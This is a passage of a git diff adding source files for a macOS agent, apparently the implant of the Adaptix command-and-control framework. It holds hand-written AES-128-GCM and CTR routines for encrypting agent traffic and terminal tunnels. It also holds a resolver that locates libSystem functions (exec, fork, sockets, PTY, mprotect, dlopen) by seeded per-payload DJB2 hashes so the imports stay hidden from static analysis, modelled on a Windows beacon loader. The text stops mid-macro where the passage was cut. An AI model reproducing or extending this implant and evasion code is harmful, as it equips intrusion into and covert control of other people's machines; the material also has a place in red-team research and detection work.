s[11] = s[7]; s[7] = s[3]; s[3] = t; +} + +static void mix_columns(uint8_t* s) { + for (int c = 0; c < 4; c++) { + int i = c * 4; + uint8_t a0 = s[i], a1 = s[i+1], a2 = s[i+2], a3 = s[i+3]; + s[i] = gf_mul(a0,2) ^ gf_mul(a1,3) ^ a2 ^ a3; + s[i+1] = a0 ^ gf_mul(a1,2) ^ gf_mul(a2,3) ^ a3; + s[i+2] = a0 ^ a1 ^ gf_mul(a2,2) ^ gf_mul(a3,3); + s[i+3] = gf_mul(a0,3) ^ a1 ^ a2 ^ gf_mul(a3,2); + } +} + +static void add_round_key(uint8_t* state, const uint8_t* rk, int round) { + for (int i = 0; i < 16; i++) + state[i] ^= rk[round * 16 + i]; +} + +// Encrypt one 16-byte block +static void aes128_encrypt_block(const uint8_t* in, uint8_t* out, const uint8_t* rk) { + uint8_t state[16]; + ax_memcpy(state, in, 16); + + add_round_key(state, rk, 0); + + for (int round = 1; round < AES128_ROUNDS; round++) { + sub_bytes(state); + shift_rows(state); + mix_columns(state); + add_round_key(state, rk, round); + } + + sub_bytes(state); + shift_rows(state); + add_round_key(state, rk, AES128_ROUNDS); + + ax_memcpy(out, state, 16); +} + +/// ---- GCM Mode ---- + +// GF(2^128) multiplication for GHASH +// Using bit-by-bit method (simple, ~200 iterations per multiply) +static void ghash_mul(uint8_t* x, const uint8_t* h) { + uint8_t z[16] = {0}; + uint8_t v[16]; + ax_memcpy(v, h, 16); + + for (int i = 0; i < 128; i++) { + if (x[i / 8] & (0x80 >> (i % 8))) { + for (int j = 0; j < 16; j++) z[j] ^= v[j]; + } + // v = v >> 1 in GF(2^128) with reduction R = 0xE1000...0 + uint8_t carry = v[15] & 1; + for (int j = 15; j > 0; j--) + v[j] = (v[j] >> 1) | (v[j-1] << 7); + v[0] >>= 1; + if (carry) v[0] ^= 0xE1; + } + + ax_memcpy(x, z, 16); +} + +// GHASH: process AAD and ciphertext +static void ghash(const uint8_t* h, const uint8_t* data, size_t data_len, uint8_t* out) { + ax_memset(out, 0, 16); + size_t blocks = data_len / 16; + for (size_t i = 0; i < blocks; i++) { + for (int j = 0; j < 16; j++) + out[j] ^= data[i * 16 + j]; + ghash_mul(out, h); + } + // Handle partial last block + size_t rem = data_len % 16; + if (rem > 0) { + for (size_t j = 0; j < rem; j++) + out[j] ^= data[blocks * 16 + j]; + ghash_mul(out, h); + } +} + +// Increment counter (last 4 bytes, big-endian) +static void inc32(uint8_t* counter) { + for (int i = 15; i >= 12; i--) { + if (++counter[i]) break; + } +} + +// AES-CTR: XOR data with AES(counter) stream +static void aes_ctr(const uint8_t* rk, uint8_t* counter, + const uint8_t* in, uint8_t* out, size_t len) { + uint8_t keystream[16]; + size_t offset = 0; + while (offset < len) { + aes128_encrypt_block(counter, keystream, rk); + inc32(counter); + size_t chunk = len - offset; + if (chunk > 16) chunk = 16; + for (size_t i = 0; i < chunk; i++) + out[offset + i] = in[offset + i] ^ keystream[i]; + offset += chunk; + } +} + +/// ---- Public API ---- + +uint8_t* aes128_gcm_encrypt(const uint8_t* plaintext, size_t plaintext_len, + const uint8_t* key, size_t* out_len) { + uint8_t rk[176]; // 11 round keys × 16 bytes + aes128_key_expand(key, rk); + + // H = AES_K(0^128) + uint8_t h[16] = {0}; + aes128_encrypt_block(h, h, rk); + + // Generate random nonce (12 bytes) + uint8_t nonce[GCM_NONCE_SIZE]; + ax_random_bytes(nonce, GCM_NONCE_SIZE); + + // J0 = nonce || 0x00000001 + uint8_t j0[16] = {0}; + ax_memcpy(j0, nonce, GCM_NONCE_SIZE); + j0[15] = 1; + + // Counter starts at J0 + 1 for CTR encryption + uint8_t counter[16]; + ax_memcpy(counter, j0, 16); + inc32(counter); + + // Allocate output: nonce + ciphertext + tag + *out_len = GCM_NONCE_SIZE + plaintext_len + GCM_TAG_SIZE; + uint8_t* output = (uint8_t*)ax_malloc(*out_len); + if (!output) return (uint8_t*)0; + + // Copy nonce to output + ax_memcpy(output, nonce, GCM_NONCE_SIZE); + + // Encrypt plaintext to output + nonce_size + uint8_t* ct = output + GCM_NONCE_SIZE; + if (plaintext_len > 0) { + aes_ctr(rk, counter, plaintext, ct, plaintext_len); + } + + // Compute GHASH(AAD || ciphertext || lengths) + // No AAD in our protocol, so GHASH just covers ciphertext + length block + uint8_t ghash_out[16] = {0}; + + // Process ciphertext blocks + size_t ct_blocks = plaintext_len / 16; + for (size_t i = 0; i < ct_blocks; i++) { + for (int j = 0; j < 16; j++) + ghash_out[j] ^= ct[i * 16 + j]; + ghash_mul(ghash_out, h); + } + size_t ct_rem = plaintext_len % 16; + if (ct_rem > 0) { + for (size_t j = 0; j < ct_rem; j++) + ghash_out[j] ^= ct[ct_blocks * 16 + j]; + ghash_mul(ghash_out, h); + } + + // Final length block: [AAD_len_bits (64-bit BE)][CT_len_bits (64-bit BE)] + uint8_t len_block[16] = {0}; + uint64_t ct_bits = (uint64_t)plaintext_len * 8; + // AAD length = 0 (first 8 bytes stay zero) + len_block[8] = (uint8_t)(ct_bits >> 56); + len_block[9] = (uint8_t)(ct_bits >> 48); + len_block[10] = (uint8_t)(ct_bits >> 40); + len_block[11] = (uint8_t)(ct_bits >> 32); + len_block[12] = (uint8_t)(ct_bits >> 24); + len_block[13] = (uint8_t)(ct_bits >> 16); + len_block[14] = (uint8_t)(ct_bits >> 8); + len_block[15] = (uint8_t)(ct_bits); + for (int j = 0; j < 16; j++) + ghash_out[j] ^= len_block[j]; + ghash_mul(ghash_out, h); + + // Tag = GHASH ^ AES_K(J0) + uint8_t tag[16]; + aes128_encrypt_block(j0, tag, rk); + for (int j = 0; j < 16; j++) + tag[j] ^= ghash_out[j]; + + // Append tag + ax_memcpy(output + GCM_NONCE_SIZE + plaintext_len, tag, GCM_TAG_SIZE); + + // Zero sensitive data + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + + return output; +} + +uint8_t* aes128_gcm_decrypt(const uint8_t* data, size_t data_len, + const uint8_t* key, size_t* out_len) { + if (data_len < GCM_NONCE_SIZE + GCM_TAG_SIZE) + return (uint8_t*)0; + + size_t ct_len = data_len - GCM_NONCE_SIZE - GCM_TAG_SIZE; + const uint8_t* nonce = data; + const uint8_t* ct = data + GCM_NONCE_SIZE; + const uint8_t* tag = data + GCM_NONCE_SIZE + ct_len; + + uint8_t rk[176]; + aes128_key_expand(key, rk); + + // H = AES_K(0^128) + uint8_t h[16] = {0}; + aes128_encrypt_block(h, h, rk); + + // J0 = nonce || 0x00000001 + uint8_t j0[16] = {0}; + ax_memcpy(j0, nonce, GCM_NONCE_SIZE); + j0[15] = 1; + + // Verify tag first (before decryption) + uint8_t ghash_out[16] = {0}; + + size_t ct_blocks = ct_len / 16; + for (size_t i = 0; i < ct_blocks; i++) { + for (int j = 0; j < 16; j++) + ghash_out[j] ^= ct[i * 16 + j]; + ghash_mul(ghash_out, h); + } + size_t ct_rem = ct_len % 16; + if (ct_rem > 0) { + for (size_t j = 0; j < ct_rem; j++) + ghash_out[j] ^= ct[ct_blocks * 16 + j]; + ghash_mul(ghash_out, h); + } + + uint8_t len_block[16] = {0}; + uint64_t ct_bits = (uint64_t)ct_len * 8; + len_block[8] = (uint8_t)(ct_bits >> 56); + len_block[9] = (uint8_t)(ct_bits >> 48); + len_block[10] = (uint8_t)(ct_bits >> 40); + len_block[11] = (uint8_t)(ct_bits >> 32); + len_block[12] = (uint8_t)(ct_bits >> 24); + len_block[13] = (uint8_t)(ct_bits >> 16); + len_block[14] = (uint8_t)(ct_bits >> 8); + len_block[15] = (uint8_t)(ct_bits); + for (int j = 0; j < 16; j++) + ghash_out[j] ^= len_block[j]; + ghash_mul(ghash_out, h); + + uint8_t computed_tag[16]; + aes128_encrypt_block(j0, computed_tag, rk); + for (int j = 0; j < 16; j++) + computed_tag[j] ^= ghash_out[j]; + + // Constant-time tag comparison (anti-timing) + uint8_t diff = 0; + for (int j = 0; j < GCM_TAG_SIZE; j++) + diff |= computed_tag[j] ^ tag[j]; + + if (diff != 0) { + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + return (uint8_t*)0; // Authentication failed + } + + // Decrypt + *out_len = ct_len; + uint8_t* plaintext = (uint8_t*)ax_malloc(ct_len > 0 ? ct_len : 1); + if (!plaintext) { + ax_memset(rk, 0, sizeof(rk)); + return (uint8_t*)0; + } + + uint8_t counter[16]; + ax_memcpy(counter, j0, 16); + inc32(counter); + + if (ct_len > 0) { + aes_ctr(rk, counter, ct, plaintext, ct_len); + } + + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + + return plaintext; +} + +/// ---- Public AES-CTR wrappers (for tunnel/terminal) ---- + +void aes128_expand_key(const uint8_t* key, uint8_t* round_keys) { + aes128_key_expand(key, round_keys); +} + +void aes128_ctr_init(aes128_ctr_ctx_t* ctx, const uint8_t* key, const uint8_t* iv) { + aes128_key_expand(key, ctx->round_keys); + for (int i = 0; i < 16; i++) ctx->counter[i] = iv[i]; + ctx->ks_offset = 16; // force generation on first use (no cached keystream) + for (int i = 0; i < 16; i++) ctx->keystream[i] = 0; +} + +void aes128_ctr_process(aes128_ctr_ctx_t* ctx, + const uint8_t* in, uint8_t* out, size_t len) { + size_t pos = 0; + + // Consume any remaining bytes from the current keystream block + while (pos < len && ctx->ks_offset < 16) { + out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset]; + ctx->ks_offset++; + pos++; + } + + // Process full blocks + while (pos + 16 <= len) { + aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys); + inc32(ctx->counter); + for (int i = 0; i < 16; i++) + out[pos + i] = in[pos + i] ^ ctx->keystream[i]; + pos += 16; + } + + // Handle final partial block (cache remainder for next call) + if (pos < len) { + aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys); + inc32(ctx->counter); + ctx->ks_offset = 0; + while (pos < len) { + out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset]; + ctx->ks_offset++; + pos++; + } + } +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.h new file mode 100644 index 000000000..0de8400dd --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.h @@ -0,0 +1,54 @@ +#ifndef CRYPT_H +#define CRYPT_H + +#include +#include + +/// AES-128-GCM encryption/decryption +/// Format: [nonce 12 bytes][ciphertext][tag 16 bytes] +/// Key: 16 bytes (AES-128) +/// Matches Go's crypto/aes + cipher.NewGCM with 16-byte key + +#define AES_KEY_SIZE 16 +#define AES_BLOCK_SIZE 16 +#define GCM_NONCE_SIZE 12 +#define GCM_TAG_SIZE 16 + +// Encrypt: allocates output buffer [nonce][ciphertext][tag] +// Returns output and sets *out_len. Caller must free output. +uint8_t* aes128_gcm_encrypt(const uint8_t* plaintext, size_t plaintext_len, + const uint8_t* key, + size_t* out_len); + +// Decrypt: allocates output buffer (plaintext) +// Input format: [nonce 12B][ciphertext][tag 16B] +// Returns plaintext and sets *out_len. Caller must free output. +// Returns NULL on authentication failure. +uint8_t* aes128_gcm_decrypt(const uint8_t* data, size_t data_len, + const uint8_t* key, + size_t* out_len); + +/// AES-128-CTR for tunnel/terminal streaming +/// Key: 16 bytes, IV: 16 bytes (used as initial counter) + +/// Expand AES-128 key into round keys (176 bytes) +void aes128_expand_key(const uint8_t* key, uint8_t* round_keys); + +/// CTR stream context — preserves partial keystream between calls +/// This matches Go's cipher.NewCTR behavior where partial blocks +/// are carried across calls. +typedef struct { + uint8_t round_keys[176]; + uint8_t counter[16]; + uint8_t keystream[16]; // cached keystream block + uint8_t ks_offset; // how many bytes used in current keystream (0-16) +} aes128_ctr_ctx_t; + +/// Initialize CTR context with key and IV +void aes128_ctr_init(aes128_ctr_ctx_t* ctx, const uint8_t* key, const uint8_t* iv); + +/// Process data with CTR stream (preserves partial block state) +void aes128_ctr_process(aes128_ctr_ctx_t* ctx, + const uint8_t* in, uint8_t* out, size_t len); + +#endif // CRYPT_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.c new file mode 100644 index 000000000..16bdb1d16 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.c @@ -0,0 +1,322 @@ +#include "dyld_resolve.h" +#include "crt.h" + +#include +#include +#include + +/// Global resolved API table +resolved_apis_t g_apis; + +/// DJB2 hash — case-insensitive, seeded +/// Matches Go's djb2a(seed, strings.ToLower(s)) +uint32_t djb2_hash(const char* str) { + if (!str) return 0; + uint32_t hash = DJB2_SEED; + int c; + while ((c = *str++)) { + if (c >= 'A' && c <= 'Z') + c += 0x20; // lowercase + hash = ((hash << 5) + hash) + (uint32_t)c; + } + return hash; +} + +/// Extract basename from a path: "/usr/lib/libSystem.B.dylib" → "libSystem.B.dylib" +static const char* path_basename(const char* path) { + const char* last = path; + while (*path) { + if (*path == '/') last = path + 1; + path++; + } + return last; +} + +/// Resolve a dylib by DJB2 hash of its basename +void* dyld_resolve_lib(uint32_t name_hash) { + uint32_t count = _dyld_image_count(); + for (uint32_t i = 0; i < count; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + + const char* base = path_basename(name); + if (djb2_hash(base) == name_hash) { + return (void*)_dyld_get_image_header(i); + } + } + return (void*)0; +} + +/// Resolve a symbol within a Mach-O image by DJB2 hash +/// Parses the Mach-O header → finds LC_SYMTAB → walks nlist entries +void* dyld_resolve_sym(void* image_header, uint32_t symbol_hash) { + if (!image_header) return (void*)0; + + const struct mach_header_64* header = (const struct mach_header_64*)image_header; + + // Verify magic + if (header->magic != MH_MAGIC_64) return (void*)0; + + // Find LC_SYMTAB load command + const struct load_command* cmd = (const struct load_command*)(header + 1); + const struct symtab_command* symtab = (const struct symtab_command*)0; + intptr_t slide = 0; + intptr_t linkedit_base = 0; + intptr_t text_base = 0; + + // First pass: find __LINKEDIT and __TEXT segments for slide calculation + const struct load_command* cmd_iter = cmd; + for (uint32_t i = 0; i < header->ncmds; i++) { + if (cmd_iter->cmd == LC_SEGMENT_64) { + const struct segment_command_64* seg = (const struct segment_command_64*)cmd_iter; + if (seg->segname[0] == '_' && seg->segname[1] == '_' && + seg->segname[2] == 'L' && seg->segname[3] == 'I' && + seg->segname[4] == 'N' && seg->segname[5] == 'K') { + // __LINKEDIT + linkedit_base = (intptr_t)(seg->vmaddr - seg->fileoff); + } + if (seg->segname[0] == '_' && seg->segname[1] == '_' && + seg->segname[2] == 'T' && seg->segname[3] == 'E' && + seg->segname[4] == 'X' && seg->segname[5] == 'T' && + seg->segname[6] == '\0') { + // __TEXT + text_base = (intptr_t)seg->vmaddr; + } + } + cmd_iter = (const struct load_command*)((const uint8_t*)cmd_iter + cmd_iter->cmdsize); + } + + // Calculate ASLR slide + slide = (intptr_t)header - text_base; + + // Second pass: find LC_SYMTAB + cmd_iter = cmd; + for (uint32_t i = 0; i < header->ncmds; i++) { + if (cmd_iter->cmd == LC_SYMTAB) { + symtab = (const struct symtab_command*)cmd_iter; + break; + } + cmd_iter = (const struct load_command*)((const uint8_t*)cmd_iter + cmd_iter->cmdsize); + } + + if (!symtab || symtab->nsyms == 0) return (void*)0; + + // Get string table and symbol table addresses + const char* strtab = (const char*)(linkedit_base + slide + symtab->stroff); + const struct nlist_64* symbols = (const struct nlist_64*)(linkedit_base + slide + symtab->symoff); + + // Walk symbol table + for (uint32_t i = 0; i < symtab->nsyms; i++) { + const struct nlist_64* sym = &symbols[i]; + + // Skip debug, undefined, and non-external symbols + if ((sym->n_type & N_STAB) != 0) continue; // debug symbol + if ((sym->n_type & N_TYPE) == N_UNDF) continue; // undefined + if ((sym->n_type & N_EXT) == 0) continue; // not exported + + uint32_t str_idx = sym->n_un.n_strx; + const char* sym_name = &strtab[str_idx]; + + // Skip leading underscore (Mach-O convention) + if (sym_name[0] == '_') sym_name++; + + if (djb2_hash(sym_name) == symbol_hash) { + return (void*)((intptr_t)sym->n_value + slide); + } + } + + return (void*)0; +} + +/// Initialize resolver — resolve critical APIs from libSystem +int dyld_resolver_init(void) { + ax_memset(&g_apis, 0, sizeof(g_apis)); + + // libSystem.B.dylib contains all BSD/POSIX functions on macOS + // It's always loaded (it's the macOS equivalent of libc) + + // We need to find libSystem by hash + // Try multiple names since dyld may list it differently + void* libsystem = (void*)0; + uint32_t count = _dyld_image_count(); + + for (uint32_t i = 0; i < count; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + const char* base = path_basename(name); + + // Match "libSystem.B.dylib" or "libsystem_*" components + // But we primarily want libSystem.B.dylib which re-exports everything + uint32_t h = djb2_hash(base); + + // Check against our expected hash + // Note: the hash value depends on DJB2_SEED, so we compute at runtime + uint32_t expected = djb2_hash("libSystem.B.dylib"); + if (h == expected) { + libsystem = (void*)_dyld_get_image_header(i); + break; + } + } + + // If not found by exact name, try to find libc or libsystem_c + if (!libsystem) { + for (uint32_t i = 0; i < count; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + const char* base = path_basename(name); + if (djb2_hash(base) == djb2_hash("libsystem_c.dylib")) { + libsystem = (void*)_dyld_get_image_header(i); + break; + } + } + } + + if (!libsystem) return -1; + + // libSystem.B.dylib re-exports from sub-libraries + // Symbols may be in libsystem_c, libsystem_kernel, libsystem_pthread, etc. + // We need to search multiple images + + // Collect all libsystem_* images + void* images[32]; + int image_count = 0; + + for (uint32_t i = 0; i < count && image_count < 32; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + + // Check if path contains "libsystem_" or "libSystem" + int is_system = 0; + const char* p = name; + while (*p) { + if (p[0] == 'l' && p[1] == 'i' && p[2] == 'b') { + if ((p[3] == 's' || p[3] == 'S') && + (p[4] == 'y' || p[4] == 'Y') && + (p[5] == 's' || p[5] == 'S')) { + is_system = 1; + break; + } + } + p++; + } + if (is_system) { + images[image_count++] = (void*)_dyld_get_image_header(i); + } + } + + // Also add libpthread if present + for (uint32_t i = 0; i < count && image_count < 32; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + const char* base = path_basename(name); + if (base[0] == 'l' && base[1] == 'i' && base[2] == 'b' && + base[3] == 'p' && base[4] == 't' && base[5] == 'h') { + images[image_count++] = (void*)_dyld_get_image_header(i); + break; + } + } + + // Helper: resolve across all system images + #define RESOLVE(field, name_str) do { \ + uint32_t _h = djb2_hash(name_str); \ + for (int _i = 0; _i < image_count && !g_apis.field; _i++) { \ + g_apis.field = dyld_resolve_sym(images[_i], _h); \ + } \ + } while(0) + + // ── File I/O ── + RESOLVE(fn_open, "open"); + RESOLVE(fn_close, "close"); + RESOLVE(fn_read, "read"); + RESOLVE(fn_write, "write"); + RESOLVE(fn_stat, "stat"); + RESOLVE(fn_fstat, "fstat"); + RESOLVE(fn_unlink, "unlink"); + RESOLVE(fn_rename, "rename"); + RESOLVE(fn_mkdir, "mkdir"); + RESOLVE(fn_opendir, "opendir"); + RESOLVE(fn_readdir, "readdir"); + RESOLVE(fn_closedir, "closedir"); + RESOLVE(fn_getcwd, "getcwd"); + RESOLVE(fn_chdir, "chdir"); + RESOLVE(fn_copyfile, "copyfile"); + RESOLVE(fn_rmdir, "rmdir"); + RESOLVE(fn_rewinddir, "rewinddir"); + + // ── Memory ── + RESOLVE(fn_mmap, "mmap"); + RESOLVE(fn_munmap, "munmap"); + RESOLVE(fn_mprotect, "mprotect"); + + // ── Process ── + RESOLVE(fn_fork, "fork"); + RESOLVE(fn_execve, "execve"); + RESOLVE(fn_execvp, "execvp"); + RESOLVE(fn_execl, "execl"); + RESOLVE(fn_execlp, "execlp"); + RESOLVE(fn_waitpid, "waitpid"); + RESOLVE(fn_getpid, "getpid"); + RESOLVE(fn_getuid, "getuid"); + RESOLVE(fn_geteuid, "geteuid"); + RESOLVE(fn_kill, "kill"); + RESOLVE(fn_killpg, "killpg"); + RESOLVE(fn_setsid, "setsid"); + RESOLVE(fn_setpgid, "setpgid"); + RESOLVE(fn_exit, "_exit"); + + // ── Network ── + RESOLVE(fn_socket, "socket"); + RESOLVE(fn_connect, "connect"); + RESOLVE(fn_getaddrinfo, "getaddrinfo"); + RESOLVE(fn_freeaddrinfo, "freeaddrinfo"); + RESOLVE(fn_gethostname, "gethostname"); + RESOLVE(fn_getsockopt, "getsockopt"); + RESOLVE(fn_setsockopt, "setsockopt"); + RESOLVE(fn_select, "select"); + + // ── System ── + RESOLVE(fn_sysctl, "sysctl"); + RESOLVE(fn_sysctlbyname, "sysctlbyname"); + RESOLVE(fn_getenv, "getenv"); + RESOLVE(fn_setenv, "setenv"); + RESOLVE(fn_sleep, "sleep"); + RESOLVE(fn_usleep, "usleep"); + + // ── Pipes & PTY ── + RESOLVE(fn_pipe, "pipe"); + RESOLVE(fn_dup2, "dup2"); + RESOLVE(fn_fcntl, "fcntl"); + RESOLVE(fn_posix_openpt, "posix_openpt"); + RESOLVE(fn_grantpt, "grantpt"); + RESOLVE(fn_unlockpt, "unlockpt"); + RESOLVE(fn_ptsname, "ptsname"); + RESOLVE(fn_ioctl, "ioctl"); + + // ── Threading ── + RESOLVE(fn_pthread_create, "pthread_create"); + RESOLVE(fn_pthread_detach, "pthread_detach"); + RESOLVE(fn_pthread_mutex_init, "pthread_mutex_init"); + RESOLVE(fn_pthread_mutex_lock, "pthread_mutex_lock"); + RESOLVE(fn_pthread_mutex_unlock, "pthread_mutex_unlock"); + + // ── Crypto/Random ── + RESOLVE(fn_arc4random_buf, "arc4random_buf"); + + // ── String/Misc ── + RESOLVE(fn_dlopen, "dlopen"); + RESOLVE(fn_dlsym, "dlsym"); + RESOLVE(fn_dlclose, "dlclose"); + + // ── macOS-specific ── + RESOLVE(fn_getpwuid, "getpwuid"); + RESOLVE(fn_getgrgid, "getgrgid"); + RESOLVE(fn_getifaddrs, "getifaddrs"); + RESOLVE(fn_freeifaddrs, "freeifaddrs"); + RESOLVE(fn_inet_ntop, "inet_ntop"); + RESOLVE(fn_localtime, "localtime"); + RESOLVE(fn_strftime, "strftime"); + + #undef RESOLVE + + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.h new file mode 100644 index 000000000..e4af417a7 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.h @@ -0,0 +1,209 @@ +#ifndef DYLD_RESOLVE_H +#define DYLD_RESOLVE_H + +#include +#include + +/// DJB2 hash-based API resolution for Mach-O on macOS ARM64 +/// Equivalent to beacon's ProcLoader.cpp but for dyld/LC_SYMTAB +/// +/// Usage: +/// void* libsystem = dyld_resolve_lib(HASH_LIB_LIBSYSTEM); +/// void* fn_open = dyld_resolve_sym(libsystem, HASH_FUNC_OPEN); +/// ((int(*)(const char*, int, int))fn_open)("/dev/urandom", 0, 0); + +/// DJB2 hash function (case-insensitive, seeded) +/// Seed is defined per-payload via -DDJB2_SEED=U +#ifndef DJB2_SEED +#define DJB2_SEED 0x1505U // Default seed (overridden per-payload) +#endif + +uint32_t djb2_hash(const char* str); + +/// Resolve a loaded dylib by hash of its base name +/// Iterates _dyld_image_count(), hashes each image name's basename +/// Returns the image header address (Mach-O header) or NULL +void* dyld_resolve_lib(uint32_t name_hash); + +/// Resolve a symbol within a Mach-O image by hash +/// Parses LC_SYMTAB to find the symbol, returns its address or NULL +void* dyld_resolve_sym(void* image_header, uint32_t symbol_hash); + +/// Initialize the resolver — resolves critical bootstrap functions +/// Call once at startup before using any resolved APIs +int dyld_resolver_init(void); + +/// Resolved API table (populated by dyld_resolver_init) +typedef struct { + // ── File I/O ── + void* fn_open; + void* fn_close; + void* fn_read; + void* fn_write; + void* fn_stat; + void* fn_fstat; + void* fn_unlink; + void* fn_rename; + void* fn_mkdir; + void* fn_opendir; + void* fn_readdir; + void* fn_closedir; + void* fn_getcwd; + void* fn_chdir; + void* fn_copyfile; + void* fn_rmdir; + void* fn_rewinddir; + + // ── Memory ── + void* fn_mmap; + void* fn_munmap; + void* fn_mprotect; + + // ── Process ── + void* fn_fork; + void* fn_execve; + void* fn_execvp; + void* fn_execl; + void* fn_execlp; + void* fn_waitpid; + void* fn_getpid; + void* fn_getuid; + void* fn_geteuid; + void* fn_kill; + void* fn_killpg; + void* fn_setsid; + void* fn_setpgid; + void* fn_exit; // _exit + + // ── Network ── + void* fn_socket; + void* fn_connect; + void* fn_getaddrinfo; + void* fn_freeaddrinfo; + void* fn_gethostname; + void* fn_getsockopt; + void* fn_setsockopt; + void* fn_select; + + // ── System ── + void* fn_sysctl; + void* fn_sysctlbyname; + void* fn_getenv; + void* fn_setenv; + void* fn_sleep; + void* fn_usleep; + + // ── Pipes & PTY ── + void* fn_pipe; + void* fn_dup2; + void* fn_fcntl; + void* fn_posix_openpt; + void* fn_grantpt; + void* fn_unlockpt; + void* fn_ptsname; + void* fn_ioctl; + + // ── Threading ── + void* fn_pthread_create; + void* fn_pthread_detach; + void* fn_pthread_mutex_init; + void* fn_pthread_mutex_lock; + void* fn_pthread_mutex_unlock; + + // ── Crypto/Random ── + void* fn_arc4random_buf; + + // ── String/Misc ── + void* fn_dlopen; + void* fn_dlsym; + void* fn_dlclose; + + // ── macOS-specific ── + void* fn_getpwuid; + void* fn_getgrgid; + void* fn_getifaddrs; + void* fn_freeifaddrs; + void* fn_inet_ntop; + void* fn_localtime; + void* fn_strftime; +} resolved_apis_t; + +extern resolved_apis_t g_apis; + +// ── Convenience casting macros ── +// These provide type-safe access to resolved APIs without verbose manual casts. +// Each file includes its own system headers, so the types are already defined. +// These macros are safe to use in any .c file that includes dyld_resolve.h +// AFTER the relevant system headers (which all our files do). + +#define R_open(p,f,m) ((int(*)(const char*,int,...))g_apis.fn_open)(p,f,m) +#define R_close(fd) ((int(*)(int))g_apis.fn_close)(fd) +#define R_read(fd,b,n) ((long(*)(int,void*,unsigned long))g_apis.fn_read)(fd,b,n) +#define R_write(fd,b,n) ((long(*)(int,const void*,unsigned long))g_apis.fn_write)(fd,b,n) +#define R_stat(p,s) ((int(*)(const char*,void*))g_apis.fn_stat)(p,s) +#define R_fstat(fd,s) ((int(*)(int,void*))g_apis.fn_fstat)(fd,s) +#define R_unlink(p) ((int(*)(const char*))g_apis.fn_unlink)(p) +#define R_rename(o,n) ((int(*)(const char*,const char*))g_apis.fn_rename)(o,n) +#define R_mkdir(p,m) ((int(*)(const char*,unsigned short))g_apis.fn_mkdir)(p,m) +#define R_opendir(p) ((void*(*)(const char*))g_apis.fn_opendir)(p) +#define R_readdir(d) ((void*(*)(void*))g_apis.fn_readdir)(d) +#define R_closedir(d) ((int(*)(void*))g_apis.fn_closedir)(d) +#define R_getcwd(b,s) ((char*(*)(char*,unsigned long))g_apis.fn_getcwd)(b,s) +#define R_chdir(p) ((int(*)(const char*))g_apis.fn_chdir)(p) +#define R_copyfile(s,d,st,f) ((int(*)(const char*,const char*,void*,unsigned int))g_apis.fn_copyfile)(s,d,st,f) +#define R_rmdir(p) ((int(*)(const char*))g_apis.fn_rmdir)(p) +#define R_rewinddir(d) ((void(*)(void*))g_apis.fn_rewinddir)(d) + +#define R_fork() ((int(*)(void))g_apis.fn_fork)() +#define R_execve(p,a,e) ((int(*)(const char*,char*const*,char*const*))g_apis.fn_execve)(p,a,e) +#define R_execvp(f,a) ((int(*)(const char*,char*const*))g_apis.fn_execvp)(f,a) +#define R_execl(...) ((int(*)(const char*,...))g_apis.fn_execl)(__VA_ARGS__) +#define R_execlp(...) ((int(*)(const char*,...))g_apis.fn_execlp)(__VA_ARGS__) +#define R_waitpid(p,s,o) ((int(*)(int,int*,int))g_apis.fn_waitpid)(p,s,o) +#define R_getpid() ((int(*)(void))g_apis.fn_getpid)() +#define R_getuid() ((unsigned int(*)(void))g_apis.fn_getuid)() +#define R_geteuid() ((unsigned int(*)(void))g_apis.fn_geteuid)() +#define R_kill(p,s) ((int(*)(int,int))g_apis.fn_kill)(p,s) +#define R_killpg(pg,s) ((int(*)(int,int))g_apis.fn_killpg)(pg,s) +#define R_setsid() ((int(*)(void))g_apis.fn_setsid)() +#define R_setpgid(p,g) ((int(*)(int,int))g_apis.fn_setpgid)(p,g) +#define R_exit(s) ((void(*)(int))g_apis.fn_exit)(s) + +#define R_socket(d,t,p) ((int(*)(int,int,int))g_apis.fn_socket)(d,t,p) +#define R_connect(s,a,l) ((int(*)(int,const void*,unsigned int))g_apis.fn_connect)(s,a,l) +#define R_getaddrinfo(h,s,hi,r) ((int(*)(const char*,const char*,const void*,void*))g_apis.fn_getaddrinfo)(h,s,hi,r) +#define R_freeaddrinfo(r) ((void(*)(void*))g_apis.fn_freeaddrinfo)(r) +#define R_gethostname(b,l) ((int(*)(char*,unsigned long))g_apis.fn_gethostname)(b,l) +#define R_getsockopt(s,l,o,v,n) ((int(*)(int,int,int,void*,unsigned int*))g_apis.fn_getsockopt)(s,l,o,v,n) +#define R_select(n,r,w,e,t) ((int(*)(int,void*,void*,void*,void*))g_apis.fn_select)(n,r,w,e,t) + +#define R_sysctl(m,c,o,os,n,ns) ((int(*)(int*,unsigned int,void*,unsigned long*,void*,unsigned long))g_apis.fn_sysctl)(m,c,o,os,n,ns) +#define R_getenv(k) ((char*(*)(const char*))g_apis.fn_getenv)(k) +#define R_setenv(k,v,o) ((int(*)(const char*,const char*,int))g_apis.fn_setenv)(k,v,o) +#define R_sleep(s) ((unsigned int(*)(unsigned int))g_apis.fn_sleep)(s) +#define R_usleep(u) ((int(*)(unsigned int))g_apis.fn_usleep)(u) + +#define R_pipe(p) ((int(*)(int*))g_apis.fn_pipe)(p) +#define R_dup2(o,n) 